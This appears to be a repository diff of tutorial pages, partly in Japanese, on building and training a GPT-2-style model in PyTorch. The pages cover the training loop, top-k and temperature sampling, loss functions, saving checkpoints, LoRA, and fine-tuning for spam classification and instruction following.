for input_batch, target_batch in train_loader:
train_tokens += input_batch.numel()
val_tokens = 0
for input_batch, target_batch in val_loader:
val_tokens += input_batch.numel()
print("Training tokens:", train_tokens)
print("Validation tokens:", val_tokens)
print("All tokens:", train_tokens + val_tokens)
# Indicate the device to use
if torch.cuda.is_available():
device = torch.device("cuda")
elif torch.backends.mps.is_available():
device = torch.device("mps")
else:
device = torch.device("cpu")
print(f"Using {device} device.")
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
# Pre-calculate losses without starting yet
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
train_loss = calc_loss_loader(train_loader, model, device)
val_loss = calc_loss_loader(val_loader, model, device)
print("Training loss:", train_loss)
print("Validation loss:", val_loss)
# Functions to train the data
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
eval_freq, eval_iter, start_context, tokenizer):
# Initialize lists to track losses and tokens seen
train_losses, val_losses, track_tokens_seen = [], [], []
tokens_seen, global_step = 0, -1
# Main training loop
for epoch in range(num_epochs):
model.train() # Set model to training mode
for input_batch, target_batch in train_loader:
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
loss = calc_loss_batch(input_batch, target_batch, model, device)
loss.backward() # Calculate loss gradients
optimizer.step() # Update model weights using loss gradients
tokens_seen += input_batch.numel()
global_step += 1
# Optional evaluation step
if global_step % eval_freq == 0:
train_loss, val_loss = evaluate_model(
model, train_loader, val_loader, device, eval_iter)
train_losses.append(train_loss)
val_losses.append(val_loss)
track_tokens_seen.append(tokens_seen)
print(f"Ep {epoch+1} (Step {global_step:06d}): "
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
# Print a sample text after each epoch
generate_and_print_sample(
model, tokenizer, device, start_context
)
return train_losses, val_losses, track_tokens_seen
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
model.eval()
with torch.no_grad():
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
model.train()
return train_loss, val_loss
def generate_and_print_sample(model, tokenizer, device, start_context):
model.eval()
context_size = model.pos_emb.weight.shape[0]
encoded = text_to_token_ids(start_context, tokenizer).to(device)
with torch.no_grad():
token_ids = generate_text(
model=model, idx=encoded,
max_new_tokens=50, context_size=context_size
)
decoded_text = token_ids_to_text(token_ids, tokenizer)
print(decoded_text.replace("\n", " ")) # Compact print format
model.train()
# Start training!
import time
start_time = time.time()
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.to(device)
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
num_epochs = 10
train_losses, val_losses, tokens_seen = train_model_simple(
model, train_loader, val_loader, optimizer, device,
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
start_context="Every effort moves you", tokenizer=tokenizer
)
end_time = time.time()
execution_time_minutes = (end_time - start_time) / 60
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
# Show graphics with the training process
import matplotlib.pyplot as plt
from matplotlib.ticker import MaxNLocator
import math
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
fig, ax1 = plt.subplots(figsize=(5, 3))
ax1.plot(epochs_seen, train_losses, label="Training loss")
ax1.plot(
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
)
ax1.set_xlabel("Epochs")
ax1.set_ylabel("Loss")
ax1.legend(loc="upper right")
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
ax2 = ax1.twiny()
ax2.plot(tokens_seen, train_losses, alpha=0)
ax2.set_xlabel("Tokens seen")
fig.tight_layout()
plt.show()
# Compute perplexity from the loss values
train_ppls = [math.exp(loss) for loss in train_losses]
val_ppls = [math.exp(loss) for loss in val_losses]
# Plot perplexity over tokens seen
plt.figure()
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
plt.xlabel('Tokens Seen')
plt.ylabel('Perplexity')
plt.title('Perplexity over Training')
plt.legend()
plt.show()
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
torch.save({
"model_state_dict": model.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
},
"/tmp/model_and_optimizer.pth"
)
```
Let's see an explanation step by step
### Functions to transform text <--> ids
These are some simple functions that can be used to transform from texts from the vocabulary to ids and backwards. This is needed at the begging of the handling of the text and at the end fo the predictions:
```python
# Functions to transform from tokens to ids and from to ids to tokens
def text_to_token_ids(text, tokenizer):
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
return encoded_tensor
def token_ids_to_text(token_ids, tokenizer):
flat = token_ids.squeeze(0) # remove batch dimension
return tokenizer.decode(flat.tolist())
```
### Generate text functions
In a previos section a function that just got the **most probable token** after getting the logits. However, this will mean that for each entry the same output is always going to be generated which makes it very deterministic.
The following `generate_text` function, will apply the `top-k` , `temperature` and `multinomial` concepts.
- The **`top-k`** means that we will start reducing to `-inf` all the probabilities of all the tokens expect of the top k tokens. So, if k=3, before making a decision only the 3 most probably tokens will have a probability different from `-inf`.
- The **`temperature`** means that every probability will be divided by the temperature value. A value of `0.1` will improve the highest probability compared with the lowest one, while a temperature of `5` for example will make it more flat. This helps to improve to variation in responses we would like the LLM to have.
- After applying the temperature, a **`softmax`** function is applied again to make all the reminding tokens have a total probability of 1.
- Finally, instead of choosing the token with the biggest probability, the function **`multinomial`** is applied to **predict the next token according to the final probabilities**. So if token 1 had a 70% of probabilities, token 2 a 20% and token 3 a 10%, 70% of the times token 1 will be selected, 20% of the times it will be token 2 and 10% of the times will be 10%.
```python
# Generate text function
def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None):
# For-loop is the same as before: Get logits, and only focus on last time step
for _ in range(max_new_tokens):
idx_cond = idx[:, -context_size:]
with torch.no_grad():
logits = model(idx_cond)
logits = logits[:, -1, :]
# New: Filter logits with top_k sampling
if top_k is not None:
# Keep only top_k values
top_logits, _ = torch.topk(logits, top_k)
min_val = top_logits[:, -1]
logits = torch.where(logits < min_val, torch.tensor(float("-inf")).to(logits.device), logits)
# New: Apply temperature scaling
if temperature > 0.0:
logits = logits / temperature
# Apply softmax to get probabilities
probs = torch.softmax(logits, dim=-1) # (batch_size, context_len)
# Sample from the distribution
idx_next = torch.multinomial(probs, num_samples=1) # (batch_size, 1)
# Otherwise same as before: get idx of the vocab entry with the highest logits value
else:
idx_next = torch.argmax(logits, dim=-1, keepdim=True) # (batch_size, 1)
if idx_next == eos_id: # Stop generating early if end-of-sequence token is encountered and eos_id is specified
break
# Same as before: append sampled index to the running sequence
idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
return idx
```
> [!NOTE]
> There is a common alternative to `top-k` called [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), also known as nucleus sampling, which instead of getting k samples with the most probability, it **organizes** all the resulting **vocabulary** by probabilities and **sums** them from the highest probability to the lowest until a **threshold is reached**.
>
> Then, **only those words** of the vocabulary will be considered according to their relative probabilities&#x20;
>
> This allows to not need to select a number of `k` samples, as the optimal k might be different on each case, but **only a threshold**.
>
> _Note that this improvement isn't included in the previous code._
> [!NOTE]
> Another way to improve the generated text is by using **Beam search** instead of the greedy search sued in this example.\
> Unlike greedy search, which selects the most probable next word at each step and builds a single sequence, **beam search keeps track of the top 𝑘 k highest-scoring partial sequences** (called "beams") at each step. By exploring multiple possibilities simultaneously, it balances efficiency and quality, increasing the chances of **finding a better overall** sequence that might be missed by the greedy approach due to early, suboptimal choices.
>
> _Note that this improvement isn't included in the previous code._
### Loss functions
The **`calc_loss_batch`** function calculates the cross entropy of the a prediction of a single batch.\
The **`calc_loss_loader`** gets the cross entropy of all the batches and calculates the **average cross entropy**.
```python
# Define loss functions
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
return loss
def calc_loss_loader(data_loader, model, device, num_batches=None):
total_loss = 0.
if len(data_loader) == 0:
return float("nan")
elif num_batches is None:
num_batches = len(data_loader)
else:
# Reduce the number of batches to match the total number of batches in the data loader
# if num_batches exceeds the number of batches in the data loader
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
loss = calc_loss_batch(input_batch, target_batch, model, device)
total_loss += loss.item()
else:
break
return total_loss / num_batches
```
> [!NOTE]
> **Gradient clipping** is a technique used to enhance **training stability** in large neural networks by setting a **maximum threshold** for gradient magnitudes. When gradients exceed this predefined `max_norm`, they are scaled down proportionally to ensure that updates to the models parameters remain within a manageable range, preventing issues like exploding gradients and ensuring more controlled and stable training.
>
> _Note that this improvement isn't included in the previous code._
>
> Check the following example:
<figure><img src="../../images/image (6) (1).png" alt=""><figcaption></figcaption></figure>
### Loading Data
The functions `create_dataloader_v1` and `create_dataloader_v1` were already discussed in a previous section.
From here note how it's defined that 90% of the text is going to be used for training while the 10% will be used for validation and both sets are stored in 2 different data loaders.\
Note that some times part of the data set is also left for a testing set to evaluate better the performance of the model.
Both data loaders are using the same batch size, maximum length and stride and num workers (0 in this case).\
The main differences are the data used by each, and the the validators is not dropping the last neither shuffling the data is it's not needed for validation purposes.
Also the fact that **stride is as big as the context length**, means that there won't be overlapping between contexts used to train the data (reduces overfitting but also the training data set).
Moreover, note that the batch size in this case it 2 to divide the data in 2 batches, the main goal of this is to allow parallel processing and reduce the consumption per batch.
```python
train_ratio = 0.90
split_idx = int(train_ratio * len(text_data))
train_data = text_data[:split_idx]
val_data = text_data[split_idx:]
torch.manual_seed(123)
train_loader = create_dataloader_v1(
train_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=True,
shuffle=True,
num_workers=0
)
val_loader = create_dataloader_v1(
val_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=False,
shuffle=False,
num_workers=0
)
```
## Sanity Checks
The goal is to check there are enough tokens for training, shapes are the expected ones and get some info about the number of tokens used for training and for validation:
```python
# Sanity checks
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the training loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"increase the `training_ratio`")
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the validation loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"decrease the `training_ratio`")
print("Train loader:")
for x, y in train_loader:
print(x.shape, y.shape)
print("\nValidation loader:")
for x, y in val_loader:
print(x.shape, y.shape)
train_tokens = 0
for input_batch, target_batch in train_loader:
train_tokens += input_batch.numel()
val_tokens = 0
for input_batch, target_batch in val_loader:
val_tokens += input_batch.numel()
print("Training tokens:", train_tokens)
print("Validation tokens:", val_tokens)
print("All tokens:", train_tokens + val_tokens)
```
### Select device for training & pre calculations
The following code just select the device to use and calculates a training loss and validation loss (without having trained anything yet) as a starting point.
```python
# Indicate the device to use
if torch.cuda.is_available():
device = torch.device("cuda")
elif torch.backends.mps.is_available():
device = torch.device("mps")
else:
device = torch.device("cpu")
print(f"Using {device} device.")
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
# Pre-calculate losses without starting yet
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
train_loss = calc_loss_loader(train_loader, model, device)
val_loss = calc_loss_loader(val_loader, model, device)
print("Training loss:", train_loss)
print("Validation loss:", val_loss)
```
### Training functions
The function `generate_and_print_sample` will just get a context and generate some tokens in order to get a feeling about how good is the model at that point. This is called by `train_model_simple` on each step.
The function `evaluate_model` is called as frequently as indicate to the training function and it's used to measure the train loss and the validation loss at that point in the model training.
Then the big function `train_model_simple` is the one that actually train the model. It expects:
- The train data loader (with the data already separated and prepared for training)
- The validator loader
- The **optimizer** to use during training: This is the function that will use the gradients and will update the parameters to reduce the loss. In this case, as you will see, `AdamW` is used, but there are many more.
- `optimizer.zero_grad()` is called to reset the gradients on each round to not accumulate them.
- The **`lr`** param is the **learning rate** which determines the **size of the steps** taken during the optimization process when updating the model's parameters. A **smaller** learning rate means the optimizer **makes smaller updates** to the weights, which can lead to more **precise** convergence but might **slow down** training. A **larger** learning rate can speed up training but **risks overshooting** the minimum of the loss function (**jump over** the point where the loss function is minimized).
- **Weight Decay** modifies the **Loss Calculation** step by adding an extra term that penalizes large weights. This encourages the optimizer to find solutions with smaller weights, balancing between fitting the data well and keeping the model simple preventing overfitting in machine learning models by discouraging the model from assigning too much importance to any single feature.
- Traditional optimizers like SGD with L2 regularization couple weight decay with the gradient of the loss function. However, **AdamW** (a variant of Adam optimizer) decouples weight decay from the gradient update, leading to more effective regularization.
- The device to use for training
- The number of epochs: Number of times to go over the training data
- The evaluation frequency: The frequency to call `evaluate_model`
- The evaluation iteration: The number of batches to use when evaluating the current state of the model when calling `generate_and_print_sample`
- The start context: Which the starting sentence to use when calling `generate_and_print_sample`
- The tokenizer
```python
# Functions to train the data
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
eval_freq, eval_iter, start_context, tokenizer):
# Initialize lists to track losses and tokens seen
train_losses, val_losses, track_tokens_seen = [], [], []
tokens_seen, global_step = 0, -1
# Main training loop
for epoch in range(num_epochs):
model.train() # Set model to training mode
for input_batch, target_batch in train_loader:
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
loss = calc_loss_batch(input_batch, target_batch, model, device)
loss.backward() # Calculate loss gradients
optimizer.step() # Update model weights using loss gradients
tokens_seen += input_batch.numel()
global_step += 1
# Optional evaluation step
if global_step % eval_freq == 0:
train_loss, val_loss = evaluate_model(
model, train_loader, val_loader, device, eval_iter)
train_losses.append(train_loss)
val_losses.append(val_loss)
track_tokens_seen.append(tokens_seen)
print(f"Ep {epoch+1} (Step {global_step:06d}): "
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
# Print a sample text after each epoch
generate_and_print_sample(
model, tokenizer, device, start_context
)
return train_losses, val_losses, track_tokens_seen
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
model.eval() # Set in eval mode to avoid dropout
with torch.no_grad():
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
model.train() # Back to training model applying all the configurations
return train_loss, val_loss
def generate_and_print_sample(model, tokenizer, device, start_context):
model.eval() # Set in eval mode to avoid dropout
context_size = model.pos_emb.weight.shape[0]
encoded = text_to_token_ids(start_context, tokenizer).to(device)
with torch.no_grad():
token_ids = generate_text(
model=model, idx=encoded,
max_new_tokens=50, context_size=context_size
)
decoded_text = token_ids_to_text(token_ids, tokenizer)
print(decoded_text.replace("\n", " ")) # Compact print format
model.train() # Back to training model applying all the configurations
```
> [!NOTE]
> To improve the learning rate there are a couple relevant techniques called **linear warmup** and **cosine decay.**
>
> **Linear warmup** consist on define an initial learning rate and a maximum one and consistently update it after each epoch. This is because starting the training with smaller weight updates decreases the risk of the model encountering large, destabilizing updates during its training phase.\
> **Cosine decay** is a technique that **gradually reduces the learning rate** following a half-cosine curve **after the warmup** phase, slowing weight updates to **minimize the risk of overshooting** the loss minima and ensure training stability in later phases.
>
> _Note that these improvements aren't included in the previous code._
### Start training
```python
import time
start_time = time.time()
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.to(device)
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
num_epochs = 10
train_losses, val_losses, tokens_seen = train_model_simple(
model, train_loader, val_loader, optimizer, device,
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
start_context="Every effort moves you", tokenizer=tokenizer
)
end_time = time.time()
execution_time_minutes = (end_time - start_time) / 60
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
```
### Print training evolution
With the following function it's possible to print the evolution of the model while it was being trained.
```python
import matplotlib.pyplot as plt
from matplotlib.ticker import MaxNLocator
import math
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
fig, ax1 = plt.subplots(figsize=(5, 3))
ax1.plot(epochs_seen, train_losses, label="Training loss")
ax1.plot(
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
)
ax1.set_xlabel("Epochs")
ax1.set_ylabel("Loss")
ax1.legend(loc="upper right")
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
ax2 = ax1.twiny()
ax2.plot(tokens_seen, train_losses, alpha=0)
ax2.set_xlabel("Tokens seen")
fig.tight_layout()
plt.show()
# Compute perplexity from the loss values
train_ppls = [math.exp(loss) for loss in train_losses]
val_ppls = [math.exp(loss) for loss in val_losses]
# Plot perplexity over tokens seen
plt.figure()
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
plt.xlabel('Tokens Seen')
plt.ylabel('Perplexity')
plt.title('Perplexity over Training')
plt.legend()
plt.show()
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
```
### Save the model
It's possible to save the model + optimizer if you want to continue training later:
```python
# Save the model and the optimizer for later training
torch.save({
"model_state_dict": model.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
},
"/tmp/model_and_optimizer.pth"
)
# Note that this model with the optimizer occupied close to 2GB
# Restore model and optimizer for training
checkpoint = torch.load("/tmp/model_and_optimizer.pth", map_location=device)
model = GPTModel(GPT_CONFIG_124M)
model.load_state_dict(checkpoint["model_state_dict"])
optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1)
optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
model.train(); # Put in training mode
```
Or just the model if you are planing just on using it:
```python
# Save the model
torch.save(model.state_dict(), "model.pth")
# Load it
model = GPTModel(GPT_CONFIG_124M)
model.load_state_dict(torch.load("model.pth", map_location=device))
model.eval() # Put in eval mode
```
## Loading GPT2 weights
There 2 quick scripts to load the GPT2 weights locally. For both you can clone the repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) locally, then:
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) will download all the weights and transform the formats from OpenAI to the ones expected by our LLM. The script is also prepared with the needed configuration and with the prompt: "Every effort moves you"
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) allows you to load any of the GPT2 weights locally (just change the `CHOOSE_MODEL` var) and predict text from some prompts.
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,60 +0,0 @@
# 7.0. LoRAのファインチューニングにおける改善
## LoRAの改善
> [!TIP]
> **LoRAを使用することで、** すでに訓練されたモデルを**ファインチューニング**するために必要な計算が大幅に削減されます。
LoRAは、モデルの**小さな部分**のみを変更することで、**大規模モデル**を効率的にファインチューニングすることを可能にします。これにより、トレーニングする必要のあるパラメータの数が減り、**メモリ**と**計算リソース**が節約されます。これは以下の理由によります:
1. **トレーニング可能なパラメータの数を削減**: モデル内の全体の重み行列を更新する代わりに、LoRAは重み行列を2つの小さな行列**A**と**B**と呼ばれる)に**分割**します。これにより、トレーニングが**速く**なり、更新する必要のあるパラメータが少ないため、**メモリ**も**少なく**て済みます。
1. これは、レイヤー行列の完全な重み更新を計算する代わりに、2つの小さな行列の積に近似するため、更新計算が削減されるからです\
<figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
2. **元のモデルの重みを変更しない**: LoRAを使用すると、元のモデルの重みをそのままにしておき、**新しい小さな行列**AとBだけを更新できます。これは、モデルの元の知識が保持され、必要な部分だけを調整することを意味するため、便利です。
3. **効率的なタスク特化型ファインチューニング**: モデルを**新しいタスク**に適応させたい場合、モデルの残りの部分をそのままにしておき、**小さなLoRA行列**AとBだけをトレーニングすればよいです。これは、モデル全体を再トレーニングするよりも**はるかに効率的**です。
4. **ストレージ効率**: ファインチューニング後、各タスクのために**全く新しいモデル**を保存する代わりに、**LoRA行列**だけを保存すればよく、これは全体のモデルに比べて非常に小さいです。これにより、あまりストレージを使用せずにモデルを多くのタスクに適応させることが容易になります。
ファインチューニング中にLinearの代わりにLoraLayersを実装するために、ここで提案されているコードがあります [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
```python
import math
# Create the LoRA layer with the 2 matrices and the alpha
class LoRALayer(torch.nn.Module):
def __init__(self, in_dim, out_dim, rank, alpha):
super().__init__()
self.A = torch.nn.Parameter(torch.empty(in_dim, rank))
torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization
self.B = torch.nn.Parameter(torch.zeros(rank, out_dim))
self.alpha = alpha
def forward(self, x):
x = self.alpha * (x @ self.A @ self.B)
return x
# Combine it with the linear layer
class LinearWithLoRA(torch.nn.Module):
def __init__(self, linear, rank, alpha):
super().__init__()
self.linear = linear
self.lora = LoRALayer(
linear.in_features, linear.out_features, rank, alpha
)
def forward(self, x):
return self.linear(x) + self.lora(x)
# Replace linear layers with LoRA ones
def replace_linear_with_lora(model, rank, alpha):
for name, module in model.named_children():
if isinstance(module, torch.nn.Linear):
# Replace the Linear layer with LinearWithLoRA
setattr(model, name, LinearWithLoRA(module, rank, alpha))
else:
# Recursively apply the same function to child modules
replace_linear_with_lora(module, rank, alpha)
```
## 参考文献
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,117 +0,0 @@
# 7.1. Fine-Tuning for Classification
## What is
Fine-tuning is the process of taking a **pre-trained model** that has learned **general language patterns** from vast amounts of data and **adapting** it to perform a **specific task** or to understand domain-specific language. This is achieved by continuing the training of the model on a smaller, task-specific dataset, allowing it to adjust its parameters to better suit the nuances of the new data while leveraging the broad knowledge it has already acquired. Fine-tuning enables the model to deliver more accurate and relevant results in specialized applications without the need to train a new model from scratch.
> [!NOTE]
> As pre-training a LLM that "understands" the text is pretty expensive it's usually easier and cheaper to to fine-tune open source pre-trained models to perform a specific task we want it to perform.
> [!TIP]
> The goal of this section is to show how to fine-tune an already pre-trained model so instead of generating new text the LLM will select give the **probabilities of the given text being categorized in each of the given categories** (like if a text is spam or not).
## Preparing the data set
### Data set size
Of course, in order to fine-tune a model you need some structured data to use to specialise your LLM. In the example proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 is fine tuned to detect if an email is spam or not using the data from [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each.
Then, **70%** of the data set is used for **training**, **10%** for **validation** and **20%** for **testing**.
- The **validation set** is used during the training phase to fine-tune the model's **hyperparameters** and make decisions about model architecture, effectively helping to prevent overfitting by providing feedback on how the model performs on unseen data. It allows for iterative improvements without biasing the final evaluation.
- This means that although the data included in this data set is not used for the training directly, it's used to tune the best **hyperparameters**, so this set cannot be used to evaluate the performance of the model like the testing one.
- In contrast, the **test set** is used **only after** the model has been fully trained and all adjustments are complete; it provides an unbiased assessment of the model's ability to generalize to new, unseen data. This final evaluation on the test set gives a realistic indication of how the model is expected to perform in real-world applications.
### Entries length
As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding.
### Initialize the model
Using the open-source pre-trained weights initialize the model to train. We have already done this before and follow the instructions of [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) you can easily do it.
## Classification head
In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words).
```python
# This code modified the final layer with a Linear one with 2 outs
num_classes = 2
model.out_head = torch.nn.Linear(
in_features=BASE_CONFIG["emb_dim"],
out_features=num_classes
)
```
## Parameters to tune
In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**.
```python
# This code makes all the parameters of the model unrtainable
for param in model.parameters():
param.requires_grad = False
# Allow to fine tune the last layer in the transformer block
for param in model.trf_blocks[-1].parameters():
param.requires_grad = True
# Allow to fine tune the final layer norm
for param in model.final_norm.parameters():
param.requires_grad = True
```
## Entries to use for training
In previos sections the LLM was trained reducing the loss of every predicted token, even though almost all the predicted tokens were in the input sentence (only 1 at the end was really predicted) in order for the model to understand better the language.
In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token.
This is implemented in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as:
```python
def calc_accuracy_loader(data_loader, model, device, num_batches=None):
model.eval()
correct_predictions, num_examples = 0, 0
if num_batches is None:
num_batches = len(data_loader)
else:
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
with torch.no_grad():
logits = model(input_batch)[:, -1, :] # Logits of last output token
predicted_labels = torch.argmax(logits, dim=-1)
num_examples += predicted_labels.shape[0]
correct_predictions += (predicted_labels == target_batch).sum().item()
else:
break
return correct_predictions / num_examples
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)[:, -1, :] # Logits of last output token
loss = torch.nn.functional.cross_entropy(logits, target_batch)
return loss
```
Note how for each batch we are only interested in the **logits of the last token predicted**.
## Complete GPT2 fine-tune classification code
You can find all the code to fine-tune GPT2 to be a spam classifier in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,100 +0,0 @@
# 7.2. 指示に従うためのファインチューニング
> [!TIP]
> このセクションの目的は、**テキストを生成するだけでなく、チャットボットとしてタスクに応答するなどの指示に従うように、すでに事前トレーニングされたモデルをファインチューニングする方法を示すことです。**
## データセット
指示に従うようにLLMをファインチューニングするには、指示と応答を含むデータセットが必要です。指示に従うようにLLMをトレーニングするためのさまざまな形式があります。例えば
- Apply Alpacaプロンプトスタイルの例
```csharp
Below is an instruction that describes a task. Write a response that appropriately completes the request.
### Instruction:
Calculate the area of a circle with a radius of 5 units.
### Response:
The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units:
\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units.
```
- Phi-3 プロンプトスタイルの例:
```vbnet
<|User|>
Can you explain what gravity is in simple terms?
<|Assistant|>
Absolutely! Gravity is a force that pulls objects toward each other.
```
トレーニングデータセットを生のテキストではなく、このようなデータセットでLLMをトレーニングすることで、LLMは受け取る質問に対して具体的な回答を提供する必要があることを理解するのに役立ちます。
したがって、リクエストと回答を含むデータセットで最初に行うべきことの1つは、そのデータを希望するプロンプト形式でモデル化することです。
```python
# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
def format_input(entry):
instruction_text = (
f"Below is an instruction that describes a task. "
f"Write a response that appropriately completes the request."
f"\n\n### Instruction:\n{entry['instruction']}"
)
input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else ""
return instruction_text + input_text
model_input = format_input(data[50])
desired_response = f"\n\n### Response:\n{data[50]['output']}"
print(model_input + desired_response)
```
そのため、常にデータセットをトレーニング、検証、テスト用のセットに分ける必要があります。
## バッチ処理とデータローダー
次に、トレーニング用のすべての入力と期待される出力をバッチ処理する必要があります。これには以下が必要です:
- テキストをトークン化する
- すべてのサンプルを同じ長さにパディングする通常、長さはLLMの事前トレーニングに使用されたコンテキストの長さと同じくらい大きくなります
- カスタムコレート関数で入力を1つシフトして期待されるトークンを作成する
- トレーニング損失から除外するために、いくつかのパディングトークンを-100に置き換える最初の`endoftext`トークンの後、他のすべての`endoftext`トークンを-100に置き換えます`cross_entropy(...,ignore_index=-100)`を使用することで、-100のターゲットを無視します
